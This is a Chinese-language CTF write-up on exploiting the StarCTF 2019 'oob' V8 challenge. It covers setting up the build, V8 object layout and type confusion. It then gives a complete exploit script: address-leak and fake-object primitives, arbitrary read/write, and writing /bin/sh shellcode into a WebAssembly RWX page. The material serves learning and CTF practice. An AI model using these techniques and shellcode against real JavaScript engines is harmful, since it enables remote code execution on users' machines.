V8从0开始

一、环境搭建

参照[原创]v8利用初探 2019 StarCTF oob 复现分析-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com

1.代理设置

1
2
git config --global http.proxy http://ip:port
export {http,https}_proxy="http://ip:port"

2.代码下载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git
echo "export PATH=/pathto/depot_tools:$PATH" >> ~/.bashrc
#获取v8源码
fetch v8
#切换题目对应版本的commit
git checkout 6dc88c191f5ecc5389dc26efa3ca0907faef3598
# 工具同步
gclient sync
#应用题目的补丁文件
#一般而言出题都是人为给某个版本的v8加一个洞上去,所以用题目给的diff文件给引擎加洞
git apply ../oob.diff

#有的老版本最好还是用python2来编译,不然语法可能会出错
# 编译release版本
#测试exp用release版本,用debug版本测试通常会出错
./tools/dev/v8gen.py x64.release
ninja -C ./out.gn/x64.release

# 编译debug版本
#调试用debug版本
./tools/dev/v8gen.py x64.debug
ninja -C ./out.gn/x64.debug

二、前置知识

参考:从一道CTF题零基础学V8漏洞利用 - FreeBuf网络安全行业门户

1.调试知识

需要注意的是debug版本的用来辅助显示,直接是没办法运行相关代码的,realse用来实际运行。

(1)工具

常见的pwndbg,可以搭配如下的小工具

源码的/pathto/v8/tools目录下有专门用来调试v8的gdbinit,加在~/.gdbinit中即可

1
source /pathto/v8/tools/gdbinit

(2)函数

在运行./d8时加入--allow-natives-syntax选项,可以使用一些调试函数

1
2
3
4
5
./d8 --allow-natives-syntax
#或者配合gdb
gdb ./d8
set args --allow-natives-syntax ./test.js
r

如下函数

1
2
%DebugPrint(obj) //输出对象地址
%SystemBreak() //触发调试中断主要结合gdb等调试器使用,类似于python中的dbg()断点

示例代码如下:

1
2
3
4
5
6
7
8
9
var a = [1,2,3];
var b = [1.1, 2.2, 3.3];
var c = [a, b];
%DebugPrint(a);
%SystemBreak(); //触发第一次调试
%DebugPrint(b);
%SystemBreak(); //触发第二次调试
%DebugPrint(c);
%SystemBreak(); //触发第三次调试

2.基础知识

(1)对象内存讲解

1
var a = [1,2,3];

比如如下定义数组对象a,那么运行%DebugPrint(a);得到地址后,使用job命令可以看到如下的内存布局

image-20220301220834343

v8在内存中只有数字和对象两种表示。为了区分两者,v8在所有对象的内存地址末尾都加了1,以便表示它是个对象。因此上图该对象的实际内存地址应该为(0x346b7364dde9-1=0x346b7364dde8)

而对于数组对象则大致如下布局

map 表明了一个对象的类型对象,上图即为PACKED_SMI_ELEMENTS
prototype prototype
elements 对象元素
length 元素个数
properties 属性

而对于其中的elements元素也是一个对象,且地址位于对象a的上方,能看到里面的内容,也就是说先申请的elements这个元素内存,然后再申请的数组对象a

image-20220301222151967

那么总的内存布局如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elements     ----> +------------------------+
| MAP +<---------+
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements |+--------+|
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

其他类型的对象都有些类似,可以自己去尝试看看

其中也不一定元素后面就跟的是ArrayObject的内容,也可能中间间隔了很多东西,比如如下情形,elements的地址和ArrayObject的地址差的还是挺大的,可能是内存分配上的一些问题吧?不太懂v8的内存分配是怎么实现的。

image-20220318205130634

(2)不同对象类型内存分布

①数组对象

1
var array = [1.1,2.2,3.3];

如下内存布局

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
elements     ----> +------------------------+<---------+
| MAP + |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements |+--------+|
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

double或者float的数组也相似,就是map的类型为PACKED_DOUBLE_ELEMENTS

②对象数组对象

1
var objectArray = [a, b];//a,b为对象

即数组里存放的是对象,也是类似的,就是在elements中会有点不一样,相当于存放一个指针指向包含的对象,包括map的类型也不同,为PACKED_ELEMENTS

image-20220301223028101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
elementA     ----> +------------------------+<---------+
| MAP + |
+------------------------+ |
| Length + |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
elementB ----> +------------------------+<---------+
| MAP + |
+------------------------+ |
| Length + |
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
+------------------------+ |
| ......... | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements |+--------+|
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+

(3)类型混淆

即当我们能够修改ArrayObject的map属性时,就能够造成类型混淆。比如

1
2
3
4
5
6
7
8
9
10
11
12
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let float_array_map = float_array[4];//假设可以越界将float_array的map属性的值读出来

//假设可以越界写obj_array的map属性,修改为浮点数数组的map属性的值
obj_array[1] = float_array_map;

//由于obj_array的map属性被修改为浮点数数组的map属性
//那么此时当js去解析的时候,就会把obj_array[0]当作一个浮点数
//从而能够读出obj_array[0]的地址,即obj的地址
let obj_addr = f2i(obj_array[0]);//f2i为浮点转无符号整数函数

同样的,当我们能够修改把一个浮点数数组的map属性改为对象数组的map属性时,就能够使得v8认为该浮点数数组中的浮点数实际是一个对象,而我们控制数组中的变量的值为一个地址,这样就能将一个任意地址转化为一个obj对象了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let obj_array_map = obj_array[1];//假设可以越界将obj_array的map属性的值读出来

//假设可以越界写float_array的map属性,修改为obj_array的map属性的值
float_array[4] = obj_array_map;

//由于float_array的map属性被修改为对象数组的map属性
//那么此时当js去解析的时候,就会把float_array[0]当作一个对象
//从而能够伪造任意地址为一个虚假的对象
fake_obj_addr = i2f(0x111111);//i2f为整数转浮点数
float_array[0] = fake_obj_addr;
let fake_obj = float_array[0];//获取该虚假对象

三、实际题目

参考:从一道CTF题零基础学V8漏洞利用 – backup (4hou.win)

1.题目分析

添加的diff如下,主要是一下两部分,其他部分加入的就只是为了正常运行而已

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
+    SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);


+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}




#以下两部分只是为了能正常运行这个添加的函数而已
+ CPP(ArrayOob) \


+ case Builtins::kArrayOob:
+ return Type::Receiver();

即添加了为数组对象ArrayOob添加了一个函数oob(),其功能为

  • 当参数只有一个(默认传入this指针),返回数组最后一个元素之后的元素
  • 当参数有两个(除了this指针之外再传入一个参数),就用我们传入的参数覆盖数组最后一个元素之后的元素
  • 其他情况下返回一个undefined

即该函数可以实现读/写数组对象MAP属性

2.漏洞分析

关键在于数组对象ArrayOob的内存空间,尝试看一下

1
2
3
let float_array = [1.1,2.2,3.3,4.4];
%DebugPrint(float_array);
%SystemBreak();

调试跑起来,查看elements处的内存

image-20220318201300196

即在数组对象的元素之后为数组对象的结构体,之前也提到过。而对象的map如果能被修改,就能引起v8的类型混淆,之前已经提到过。

那么我们利用类型混淆,来构造获取任意对象的地址的函数getAddress(obj)以及修改任意地址为对象的函数getFakeObj(addr)

(1)构造转化函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let float_array_map = float_array.oob()
let obj_array_map = obj_array.oob()

function getAddress(obj)
{
obj_array[0] = obj;//设置对象数组
obj_array.oob(float_array_map);//将原本是对象的map覆盖为浮点数数组的map,之后读取就会以浮点数组对象的形式读取
//从对象数组中读出对象,但是此时整个对象数组已经被改成浮点数组,所以会以浮点数数组形式读取,得到该对象的地址
//正常情况从对象数组中读取对象会返回一个对象,不是该对象的地址,但是转换成浮点数组就会读取到成员的地址,这就是类型混淆
let addr = mem.f2i(obj_array[0])
obj_array.oob(obj_map);//重新设置回来
return addr;
}


function getFakeObj(addr)
{
float_array[0] = mem.i2f(addr);//设置浮点数数组
float_array.oob(obj_array_map);//设置map属性将浮点数数组转化为对象数组
let fake_obj = float_array[0];//获取转化之后的对象数组,就能得到该fake_obj,其地址为addr,对象类型为字典对象
float_array.oob(float_map);//重新设置回来
return fake_obj;
}

实际测试一下

1
2
3
4
let obj_addr = getAddress(obj);
console.log("[*]obj_addr:"+hex(obj_addr));
%DebugPrint(obj)
%SystemBreak()

可以看到成功获取地址

image-20220322121328820

但是这么判断转化对象成功不太知道…

(2)利用转化函数构造任意读写

得到了上述的转化函数,那么我们可以借助这两个转化函数来获取任意地址读和任意地址写

原理:

利用getFakeObj将一个地址转化为一个浮点数组对象,而如果该地址指向的elements指针可控,那么我们就能够修改其elements指针,从而指向任意地方,去进行读写操作。

需要注意的是,由于依据elements读写的时候没有进行检测,所以只要成功修改了elements指针,那么我们我们就能从elements实际存放数据的地方,也就是*(elements+0x10)处读写我们的数据,造成任意地址读写。

假定申请fake_array[6],如下图布局

未命名文件 (2)

即如上图所示,设置fake_array_addr-0x40+0x10的地址为一个fake_obj,那么该fake_obj相关的属性如下

  • map即为float_array_map,可以由fake_array[0]进行控制,由此可以进行元素读写

  • protototype即设置为0,可由fake_array[1]进行控制

  • elements即设置为我们需要读写的地址,可由fake_array[2]进行控制

那么即可完成整个读写布局。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
let fake_array = [
float_array_map,
mem.i2f(0n),
mem.i2f(0x41414141n),
mem.i2f(0x1000000000n),
1.1,
2.2,
];
let fake_array_addr = getAddress(fake_array);
let fake_object_addr = fake_array_addr - 0x40n + 0x10n;
let fake_object = getFakeObj(fake_object_addr);

function read64(addr)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
let leak_data = mem.f2i(fake_object[0]);
console.log("[*] leak from: " +hex(addr) + ": " + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
fake_object[0] = mem.i2f(data);
console.log("[*] write to : " +hex(addr) + ": " + hex(data));
}

测试效果:

1
2
3
4
5
6
%DebugPrint(fake_array);
console.log("[*] fake_array_addr:" + hex(fake_array_addr));
console.log("[*] fake_object_addr:" + hex(fake_object_addr));
read64(fake_array_addr-0x40n+0x28n-1n);
write64(fake_object_addr+0x18n-1n,0x01020304n);
%SystemBreak();

那么我们即读写fake_array[3]处的值,可以看到成功读写

image-20220322152925354

3.实际利用

(1)常规堆思路

通过泄露d8的ELF地址,计算其GOT表地址,任意读泄露出libc地址,然后覆盖free_hooksystem函数,之后通过console.log('/bin/sh\x00')即可释放一个包含/bin/sh的堆块完成利用

这个泄露地址部分有点不太好搞,随机泄露的部分没看,稳定泄露的部分不太对,获取到的不是d8中的指令地址,而是一个lib库的指令地址。

🔺后面补把

(2)利用WASM机制

如下可以将C语言直接转换为wasm并生成JS配套调用代码

WasmFiddle (wasdk.github.io)

wasm就是一个用来调用C代码的机制,可以自己去看看,但是不能赋予危险的代码来调用,只能运行数学计算、图像处理等系统无关的高级语言代码。

简单来说,我们可以创建一片WASM的空间,然后如果我们可以修改到这片运行WASM代码的内存空间(利用上述的任意写),修改其为shellcode,然后当d8调用WASM的接口时,就可以调用到我们的shellcode了。

而运行WASM代码的内存空间即为WASM_instance+0x88处

1
2
3
let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, {});

也就是上述的wasmInstance地址+0x88处

其中wasmCode的功能为

1
2
3
int main() { 
return 42;
}

①泄露地址

1
2
3
4
let wasm_instance_addr = getAddress(wasmInstance);
console.log("[*] wasm_instance_addr: " + hex(wasm_instance_addr));
let rwx_page_addr = read64(wasm_instance_addr -1n + 0x88n);
console.log("[*] rwx_page_addr: " + hex(rwx_page_addr));

②写入shellcode到wasm的rwx段

这里有个问题,就是连续使用两次write64会出错,具体原因不清楚,说什么floatArray已经被篡改,再检测合法性会出错,被篡改成啥也不知道啊,这边有点问题,之后看能不能补上。

🔺

那么依据大佬的,需要进行修改,使用dataview来进行修改

原理即为

DataView对象中的backing_store会指向申请的data_bufbacking_store相当于我们的elements),修改backing_store为我们想要写的地址,并通过DataView对象的setBigUint64方法就可以往指定地址正常写入数据了。

🔺

不太懂

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function writeAny(addr,data)
{
let data_buf = new ArrayBuffer(data.length * 8);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = getAddress(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: "+hex(buf_backing_store_addr));

write64(buf_backing_store_addr-1n,addr);
for (let i = 0; i < data.length; ++i)
data_view.setFloat64(i * 8, mem.i2f(data[i]), true);
}


let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
writeAny(rwx_page_addr,shellcode);

③调用wasm来执行shellcode

1
f();

直接通过这个调用即可。

EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
function hex(i)
{
return '0x'+i.toString(16).padStart(16, "0");
}
class Memory{
constructor(){
this.buf = new ArrayBuffer(16);
this.float64 = new Float64Array(this.buf);
// this.u32 = new Uint32Array(this.buf);
// this.bytes = new Uint8Array(this.buf);
this.bigUint64 = new BigUint64Array(this.buf);
}
f2i(val){
this.float64[0] = val;
return this.bigUint64[0];
}
i2f(val){
this.bigUint64[0] = val;
return this.float64[0];
}
}

let mem = new Memory()
let float_array = [1.1,2.2,3.3,4.4];//创建一个浮点数数组
let obj = {"a": 1};//创建一个对象
let obj_array = [obj];//创建一个对象数组
let float_array_map = float_array.oob()
let obj_array_map = obj_array.oob()


function getAddress(obj)
{
obj_array[0] = obj;//设置对象数组
obj_array.oob(float_array_map);//将原本是对象的map覆盖为浮点数数组的map,之后读取就会以浮点数组对象的形式读取
//从对象数组中读出对象,但是此时整个对象数组已经被改成浮点数组,所以会以浮点数数组形式读取,得到该对象的地址
//正常情况从对象数组中读取对象会返回一个对象,不是该对象的地址,但是转换成浮点数组就会读取到成员的地址,这就是类型混淆
let obj_addr = mem.f2i(obj_array[0])
obj_array.oob(obj_array_map);//重新设置回来
return obj_addr;
}


function getFakeObj(addr)
{
float_array[0] = mem.i2f(addr);//设置浮点数数组
float_array.oob(obj_array_map);//将浮点数数组转化为对象数组
let fake_obj = float_array[0];//获取转化之后的对象数组,就能得到该fake_obj,其地址为addr,对象类型为字典对象
float_array.oob(float_array_map);//重新设置回来
return fake_obj;
}




let fake_array = [
float_array_map,
mem.i2f(0n),
mem.i2f(0x41414141n),
mem.i2f(0x1000000000n),
1.1,
2.2,
];
let fake_array_addr = getAddress(fake_array);
let fake_object_addr = fake_array_addr - 0x40n + 0x10n;
let fake_object = getFakeObj(fake_object_addr);
console.log("[*] fake_array_addr:" + hex(fake_array_addr));
console.log("[*] fake_object_addr:" + hex(fake_object_addr));

function read64(addr)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
let leak_data = mem.f2i(fake_object[0]);
console.log("[*] leak from: " +hex(addr) + ": " + hex(leak_data));
return leak_data;
}

function write64(addr, data)
{
fake_array[2] = mem.i2f(addr - 0x10n + 0x1n);
fake_object[0] = mem.i2f(data);
console.log("[*] write to : " +hex(addr) + ": " + hex(data));
}

function writeAny(addr,data)
{
let data_buf = new ArrayBuffer(data.length * 8);
let data_view = new DataView(data_buf);
let buf_backing_store_addr = getAddress(data_buf) + 0x20n;
console.log("[*] buf_backing_store_addr: "+hex(buf_backing_store_addr));

write64(buf_backing_store_addr-1n,addr);
for (let i = 0; i < data.length; ++i)
data_view.setFloat64(i * 8, mem.i2f(data[i]), true);
}

let wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
let wasmModule = new WebAssembly.Module(wasmCode);
let wasmInstance = new WebAssembly.Instance(wasmModule, {});
let f = wasmInstance.exports.main;
let wasm_instance_addr = getAddress(wasmInstance);
console.log("[*] wasm_instance_addr: " + hex(wasm_instance_addr));
let rwx_page_addr = read64(wasm_instance_addr -1n + 0x88n);
console.log("[*] rwx_page_addr: " + hex(rwx_page_addr));
let shellcode = [
0x2fbb485299583b6an,
0x5368732f6e69622fn,
0x050f5e5457525f54n
];
writeAny(rwx_page_addr,shellcode);
//%SystemBreak();
f();

image-20220322194115446

starctf2019/pwn-OOB at master · sixstars/starctf2019 (github.com)